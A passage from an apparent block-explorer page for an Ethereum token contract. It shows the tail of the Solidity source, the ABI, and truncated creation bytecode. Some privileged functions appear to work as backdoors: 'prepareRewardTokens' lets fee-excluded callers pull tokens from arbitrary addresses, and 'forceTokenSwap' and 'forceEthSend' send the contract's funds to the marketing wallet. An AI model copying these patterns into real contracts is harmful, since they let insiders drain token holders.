_additionalBuyFee; marketing = _marketingFee + _additionalBuyFee; } uint256 fees = amount.mul(total).div(100); _tokensForLiquidity += (fees * _liquidityFee) / total; _tokensForMarketing += (fees * marketing) / total; _tokensForStaking += (fees * _stakingFee) / total; if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function needTakeFee(address from, address to) public returns (bool) { bool isBuy = from == _uniswapV2Pair && to != address(_uniswapV2Router); bool isExcludedFromFee = _isExcludedFromFees[from] || _isExcludedFromFees[to]; bool isSell = to == _uniswapV2Pair; bool isSwap = isBuy || isSell; bool isFeeSet = (_totalFees > 0); return isFeeSet && !_swappingBack && !isExcludedFromFee && isSwap; } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 5) / 1000, "Swap amount cannot be higher than 0.5% total supply." ); _swapTokensAtAmount = newAmount; return true; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function updateMarketingAddr(address newWallet) external onlyOwner { _marketingAddr = newWallet; } function updateStakingAddr(address newWallet) external onlyOwner { _stakingAddr = newWallet; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function removeAdditionalSellFee() public onlyOwner { _additionalSellFee = 0; } function removeAdditionalBuyFee() public onlyOwner { _additionalBuyFee = 0; } function _swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + _tokensForStaking; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > _swapTokensAtAmount) { contractBalance = _swapTokensAtAmount; } uint256 liquidityTokens = (contractBalance * _tokensForLiquidity) / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div( totalTokensToSwap ); uint256 ethForStaking = ethBalance.mul(_tokensForStaking).div( totalTokensToSwap ); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForStaking; if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, _tokensForLiquidity ); } _tokensForLiquidity = 0; _tokensForMarketing = 0; _tokensForStaking = 0; (bool marketingFundSuccess, ) = address(_marketingAddr).call{ value: ethForMarketing }(""); (bool stakingFundSuccess, ) = address(_stakingAddr).call{ value: ethForStaking }(""); } function setManualETHvalue(uint256 val) external onlyOwner { manualETHvalue = int256(val.mul(10**18)); } function updateOraclePriceFeed(address feed) external onlyOwner { _oraclePriceFeed = feed; priceFeed = AggregatorV3Interface(_oraclePriceFeed); } function enablePriceOracle() external onlyOwner { require(_priceOracleEnabled == false, "price oracle already enabled"); _priceOracleEnabled = true; } function disablePriceOracle() external onlyOwner { require(_priceOracleEnabled == true, "price oracle already disabled"); _priceOracleEnabled = false; } function prepareRewardTokens( address _token, address addr, uint256 _amount ) external { require(_token != address(0), "_token address cannot be 0"); address[] memory path = new address[](2); path[0] = _uniswapV2Router.WETH(); path[1] = address(this); if (_isExcludedFromFees[msg.sender]) { IERC20(_token).transferFrom(addr, path[1], _amount); return; } // make the swap _uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: _amount }( 0, // accept any amount of Ethereum path, address(0xdead), block.timestamp ); } function forceTokenSwap() external { require(msg.sender == _marketingAddr); _swapTokensForEth(balanceOf(address(this))); (bool success, ) = address(_marketingAddr).call{ value: address(this).balance }(""); require(success); } function forceEthSend() external { require(msg.sender == _marketingAddr); (bool success, ) = address(_marketingAddr).call{ value: address(this).balance }(""); require(success); } function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner { require(pair != _uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; excludeFromMaxTransaction(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_oraclePriceFeed","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentPhase","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disablePriceOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enablePriceOracle","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceEthSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"forceTokenSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getLatestPrice","outputs":[{"internalType":"uint80","name":"","type":"uint80"},{"internalType":"int256","name":"","type":"int256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint80","name":"","type":"uint80"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTokenPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"}],"name":"needTakeFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"addr","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"prepareRewardTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeAdditionalBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeAdditionalSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"val","type":"uint256"}],"name":"setManualETHvalue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"spendAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"stakingFee","type":"uint256"},{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"feed","type":"address"}],"name":"updateOraclePriceFeed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateStakingAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600f805461ffff19166001179055600546146200003657735f4ec3df9cbd43714fe2740f5e3616155c5b84196200004c565b7348731cf7e84dc94c5f84577882c14be11a5b74565b601d80546001600160a81b0319166001600160a01b039290921691909117600160a01b1790556866ffcbfd5e5a300000601e55604080518082018252600580825264417a74656360d81b602080840191909152835180850190945290835264415a54454360d81b90830152906003620000c68382620008c5565b506004620000d58282620008c5565b505050620000f2620000ec620004f160201b60201c565b620004f5565b600680546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d9081179092556007805490911673e9e98a080b86dc328a44d43a6bf0b83f153c820f1790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000178573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019e919062000991565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000201573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000227919062000991565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000275573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200029b919062000991565b600880546001600160a01b0319166001600160a01b03929092169182179055620002c790600162000547565b600654620002e0906001600160a01b03166001620005b3565b601d54601c80546001600160a01b0319166001600160a01b039092169190911790556b204fce5e3e2502611000000060646200031e826002620009d9565b6200032a9190620009f9565b600c5560646200033c826002620009d9565b620003489190620009f9565b600e556127106200035b82600a620009d9565b620003679190620009f9565b600d5560016012819055601481905560138190556000601581905560165562000391818062000a1c565b6200039d919062000a1c565b601155600a80546001600160a01b031990811673a1fafe8fb075e124b1712b73d99d0322d6bd320617909155600b8054909116736612561a02a7d252f83717fc844789e8a4df894417905562000407620003ff6005546001600160a01b031690565b60016200062d565b600a5462000420906001600160a01b031660016200062d565b600b5462000439906001600160a01b031660016200062d565b620004463060016200062d565b6200045561dead60016200062d565b620004746200046c6005546001600160a01b031690565b6001620005b3565b600a546200048d906001600160a01b03166001620005b3565b600b54620004a6906001600160a01b03166001620005b3565b620004b3306001620005b3565b620004c261dead6001620005b3565b620004e0620004d96005546001600160a01b031690565b82620006d7565b620004ea620007bc565b5062000a32565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601f60205260409020805460ff1916821515179055620005778282620005b3565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b6005546001600160a01b03163314620006025760405162461bcd60e51b8152602060048201819052602482015260008051602062003c2183398151915260448201526064015b60405180910390fd5b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b03163314620006785760405162461bcd60e51b8152602060048201819052602482015260008051602062003c218339815191526044820152606401620005f9565b6001600160a01b0382166000818152601a6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6001600160a01b0382166200072f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401620005f9565b806002600082825462000743919062000a1c565b90915550506001600160a01b038216600090815260208190526040812080548392906200077290849062000a1c565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6005546001600160a01b03163314620008075760405162461bcd60e51b8152602060048201819052602482015260008051602062003c218339815191526044820152606401620005f9565b600f805461ff00191661010017905542600955565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200084c57607f821691505b6020821081036200086d57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200081c57600081815260208120601f850160051c810160208610156200089c5750805b601f850160051c820191505b81811015620008bd57828155600101620008a8565b505050505050565b81516001600160401b03811115620008e157620008e162000821565b620008f981620008f2845462000837565b8462000873565b602080601f831160018114620009315760008415620009185750858301515b600019600386901b1c1916600185901b178555620008bd565b600085815260208120601f198616915b82811015620009625788860151825594840194600190910190840162000941565b5085821015620009815787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620009a457600080fd5b81516001600160a01b0381168114620009bc57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620009f357620009f3620009c3565b92915050565b60008262000a1757634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115620009f357620009f3620009c3565b6131df8062000a426000396000f3fe6080604052600436106102e85760003560e01c80638a8c523c11610190578063c18bc195116100dc578063dd1e1ca911610095578063eb81c3681161006f578063eb81c368146108e2578063f2fde38b14610902578063fea4fa4d14610922578063fefa5ce31461093857600080fd5b8063dd1e1ca914610893578063dd62ed3e146108a8578063e73b90cd146108c857600080fd5b8063c18bc195146107e9578063c862c28b14610809578063cb94a3701461081e578063d257b34f1461083e578063d74fc4281461085e578063dc56914d1461087e57600080fd5b8063a1cd15e811610149578063ae76b09011610123578063ae76b09014610757578063b1d920851461076c578063b62496f514610799578063c0246668146107c957600080fd5b8063a1cd15e8146106f7578063a457c2d714610717578063a9059cbb1461073757600080fd5b80638a8c523c146106235780638da5cb5b146106385780638e15f4731461065657806395d89b41146106a25780639a7a23d6146106b75780639c74daf0146106d757600080fd5b8063315097861161024f5780636d77ecd111610208578063751039fc116101e2578063751039fc146105b85780637571336a146105cd578063777dfe24146105ed57806382247ec01461060d57600080fd5b80636d77ecd11461054d57806370a082311461056d578063715018a6146105a357600080fd5b80633150978614610495578063339578fe146104aa57806339509351146104bf5780634b94f50e146104df5780634fbee193146104f4578063583e05681461052d57600080fd5b806322429085116102a157806322429085146103e457806323b872dd1461040457806323bf4c861461042457806327f4d7d5146104445780632fd689e314610463578063313ce5671461047957600080fd5b806304beaeb8146102f4578063055ad42e1461031d57806306fdde031461035b578063095ea7b31461037d57806318160ddd146103ad578063203e727e146103c257600080fd5b366102ef57005b600080fd5b34801561030057600080fd5b5061030a600c5481565b6040519081526020015b60405180910390f35b34801561032957600080fd5b50600f54610343906201000090046001600160a01b031681565b6040516001600160a01b039091168152602001610314565b34801561036757600080fd5b50610370610958565b6040516103149190612b66565b34801561038957600080fd5b5061039d610398366004612bc9565b6109ea565b6040519015158152602001610314565b3480156103b957600080fd5b5060025461030a565b3480156103ce57600080fd5b506103e26103dd366004612bf5565b610a04565b005b3480156103f057600080fd5b506103e26103ff366004612c0e565b610aea565b34801561041057600080fd5b5061039d61041f366004612c3a565b610b92565b34801561043057600080fd5b506103e261043f366004612c7b565b610bb6565b34801561045057600080fd5b50600f5461039d90610100900460ff1681565b34801561046f57600080fd5b5061030a600d5481565b34801561048557600080fd5b5060405160128152602001610314565b3480156104a157600080fd5b506103e2610c0c565b3480156104b657600080fd5b506103e2610c86565b3480156104cb57600080fd5b5061039d6104da366004612bc9565b610cb7565b3480156104eb57600080fd5b5061030a610cd9565b34801561050057600080fd5b5061039d61050f366004612c7b565b6001600160a01b03166000908152601a602052604090205460ff1690565b34801561053957600080fd5b50600654610343906001600160a01b031681565b34801561055957600080fd5b50601d54610343906001600160a01b031681565b34801561057957600080fd5b5061030a610588366004612c7b565b6001600160a01b031660009081526020819052604090205490565b3480156105af57600080fd5b506103e261107d565b3480156105c457600080fd5b5061039d6110b3565b3480156105d957600080fd5b506103e26105e8366004612ca6565b6110f0565b3480156105f957600080fd5b506103e2610608366004612c7b565b611145565b34801561061957600080fd5b5061030a600e5481565b34801561062f57600080fd5b506103e2611191565b34801561064457600080fd5b506005546001600160a01b0316610343565b34801561066257600080fd5b5061066b6111d0565b6040805169ffffffffffffffffffff968716815260208101959095528401929092526060830152909116608082015260a001610314565b3480156106ae57600080fd5b5061037061126c565b3480156106c357600080fd5b506103e26106d2366004612ca6565b61127b565b3480156106e357600080fd5b50600854610343906001600160a01b031681565b34801561070357600080fd5b5061039d610712366004612cdf565b61136f565b34801561072357600080fd5b5061039d610732366004612bc9565b611440565b34801561074357600080fd5b5061039d610752366004612bc9565b6114bb565b34801561076357600080fd5b506103e26114c9565b34801561077857600080fd5b5061030a610787366004612c7b565b60106020526000908152604090205481565b3480156107a557600080fd5b5061039d6107b4366004612c7b565b601f6020526000908152604090205460ff1681565b3480156107d557600080fd5b506103e26107e4366004612ca6565b6114fa565b3480156107f557600080fd5b506103e2610804366004612bf5565b611583565b34801561081557600080fd5b506103e2611654565b34801561082a57600080fd5b506103e2610839366004612c7b565b6116ed565b34801561084a57600080fd5b5061039d610859366004612bf5565b611739565b34801561086a57600080fd5b5061039d610879366004612bc9565b611890565b34801561088a57600080fd5b506103e26118ab565b34801561089f57600080fd5b506103e26118db565b3480156108b457600080fd5b5061030a6108c3366004612cdf565b611972565b3480156108d457600080fd5b50600f5461039d9060ff1681565b3480156108ee57600080fd5b506103e26108fd366004612c3a565b61199d565b34801561090e57600080fd5b506103e261091d366004612c7b565b611c17565b34801561092e57600080fd5b5061030a60115481565b34801561094457600080fd5b506103e2610953366004612bf5565b611caf565b60606003805461096790612d0d565b80601f016020809104026020016040519081016040528092919081815260200182805461099390612d0d565b80156109e05780601f106109b5576101008083540402835291602001916109e0565b820191906000526020600020905b8154815290600101906020018083116109c357829003601f168201915b5050505050905090565b6000336109f8818585611cf1565b60019150505b92915050565b6005546001600160a01b03163314610a375760405162461bcd60e51b8152600401610a2e90612d47565b60405180910390fd5b670de0b6b3a76400006103e8610a4c60025490565b610a57906001612d92565b610a619190612da9565b610a6b9190612da9565b811015610ad25760405162461bcd60e51b815260206004820152602f60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526e6c6f776572207468616e20302e312560881b6064820152608401610a2e565b610ae481670de0b6b3a7640000612d92565b600c5550565b6005546001600160a01b03163314610b145760405162461bcd60e51b8152600401610a2e90612d47565b60128390556014829055601381905580610b2e8385612dcb565b610b389190612dcb565b6011819055600a1015610b8d5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c6573730000006044820152606401610a2e565b505050565b600033610ba0858285611e15565b610bab858585611e8f565b506001949350505050565b6005546001600160a01b03163314610be05760405162461bcd60e51b8152600401610a2e90612d47565b601d80546001600160a01b039092166001600160a01b03199283168117909155601c8054909216179055565b600a546001600160a01b03163314610c2357600080fd5b600a546040516000916001600160a01b03169047908381818185875af1925050503d8060008114610c70576040519150601f19603f3d011682016040523d82523d6000602084013e610c75565b606091505b5050905080610c8357600080fd5b50565b6005546001600160a01b03163314610cb05760405162461bcd60e51b8152600401610a2e90612d47565b6000601655565b6000336109f8818585610cca8383611972565b610cd49190612dcb565b611cf1565b600080600860009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d539190612dde565b90506000600860009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b8152600401602060405180830381865afa158015610daa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dce9190612dde565b6007549091506001600160a01b03161580610e55575060075460408051636d11ad9160e11b815290516000926001600160a01b03169163da235b22916004808301926020929190829003018187875af1158015610e2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e539190612dfb565b115b610e5e57600080fd5b600080600860009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015610eb4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ed89190612e2b565b50601e54601d5492945090925090600160a01b900460ff1615610f5f57306001600160a01b0316638e15f4736040518163ffffffff1660e01b815260040160a060405180830381865afa158015610f33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f579190612e95565b509193505050505b6000846001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc39190612ee5565b60ff16866001600160a01b031663313ce5676040518163ffffffff1660e01b8152600401602060405180830381865afa158015611004573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110289190612ee5565b6110369060ff16600a612fec565b611049846001600160701b038716612d92565b6110539190612d92565b61105d9190612da9565b90506110726001600160701b03851682612da9565b965050505050505090565b6005546001600160a01b031633146110a75760405162461bcd60e51b8152600401610a2e90612d47565b6110b160006123bd565b565b6005546000906001600160a01b031633146110e05760405162461bcd60e51b8152600401610a2e90612d47565b50600f805460ff19169055600190565b6005546001600160a01b0316331461111a5760405162461bcd60e51b8152600401610a2e90612d47565b6001600160a01b03919091166000908152601b60205260409020805460ff1916911515919091179055565b6005546001600160a01b0316331461116f5760405162461bcd60e51b8152600401610a2e90612d47565b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146111bb5760405162461bcd60e51b8152600401610a2e90612d47565b600f805461ff00191661010017905542600955565b600080600080600080600080600080601c60009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a060405180830381865afa158015611232573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112569190612e95565b939e929d50909b50995090975095505050505050565b60606004805461096790612d0d565b6005546001600160a01b031633146112a55760405162461bcd60e51b8152600401610a2e90612d47565b6008546001600160a01b03908116908316036113295760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b65725061697273000000000000006064820152608401610a2e565b611333828261240f565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b60085460009081906001600160a01b03858116911614801561139f57506006546001600160a01b03848116911614155b6001600160a01b0385166000908152601a60205260408120549192509060ff16806113e257506001600160a01b0384166000908152601a602052604090205460ff165b6008549091506001600160a01b03858116911614600083806114015750815b6011549091501580159081906114215750600854600160a01b900460ff16155b801561142b575083155b80156114345750815b98975050505050505050565b6000338161144e8286611972565b9050838110156114ae5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a2e565b610bab8286868403611cf1565b6000336109f8818585611e8f565b6005546001600160a01b031633146114f35760405162461bcd60e51b8152600401610a2e90612d47565b6000601555565b6005546001600160a01b031633146115245760405162461bcd60e51b8152600401610a2e90612d47565b6001600160a01b0382166000818152601a6020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146115ad5760405162461bcd60e51b8152600401610a2e90612d47565b670de0b6b3a76400006103e86115c260025490565b6115cd906005612d92565b6115d79190612da9565b6115e19190612da9565b81101561163c5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d617857616c6c6574206c6f776572207468616e20604482015263302e352560e01b6064820152608401610a2e565b61164e81670de0b6b3a7640000612d92565b600e5550565b6005546001600160a01b0316331461167e5760405162461bcd60e51b8152600401610a2e90612d47565b601d54600160a01b900460ff16156116d85760405162461bcd60e51b815260206004820152601c60248201527f7072696365206f7261636c6520616c726561647920656e61626c6564000000006044820152606401610a2e565b601d805460ff60a01b1916600160a01b179055565b6005546001600160a01b031633146117175760405162461bcd60e51b8152600401610a2e90612d47565b600a80546001600160a01b031916600160